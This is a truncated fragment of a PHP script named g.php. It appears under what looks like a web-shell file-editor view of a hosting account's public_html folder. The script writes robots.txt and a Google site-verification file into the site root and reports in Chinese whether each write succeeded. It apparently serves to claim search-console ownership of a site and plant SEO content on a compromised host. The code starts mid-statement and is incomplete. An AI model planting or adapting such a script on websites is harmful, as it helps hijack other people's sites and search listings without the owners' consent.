/home/techb158/public_html
Edit: /home/techb158/public_html/g.php (3396B)
0) {
if (@file_get_contents($robots_file) === $robots_content) {
$robots_success = true;
}
}
$code = trim($google_code);
$google_filename = $code . '.html';
$google_content = 'google-site-verification: ' . $google_filename;
$google_file = $root_path . '/' . $google_filename;
@file_put_contents($google_file, $google_content);
$google_success = false;
if (is_file($google_file) && filesize($google_file) > 0) {
if (@file_get_contents($google_file) === $google_content) {
$google_success = true;
}
}
echo "
🚀 SEO 自动化文件生成结果
";
echo "
当前顶级根目录:" . htmlspecialchars($root_path) . "
";
if ($robots_success) {
echo "✅
robots.txt 成功写入顶级根目录路径:
" . htmlspecialchars($robots_file) . "";
echo "
" . htmlspecialchars($robots_content) . "
";
} else {
echo "❌
robots.txt 写入失败! 请检查网站根目录
DOCUMENT_ROOT 的写入权限。
";
}
if ($google_success) {
echo "✅
" . htmlspecialchars($google_filename) . " 成功写入顶级根目录路径:
" . htmlspecialchars($google_file) . "";
echo "
" . htmlspecialchars($google_content) . "
";
} else {
echo "❌
Google 验证文件 写入失败! 请检查网站根目录
DOCUMENT_ROOT 的写入权限。
";
}
?>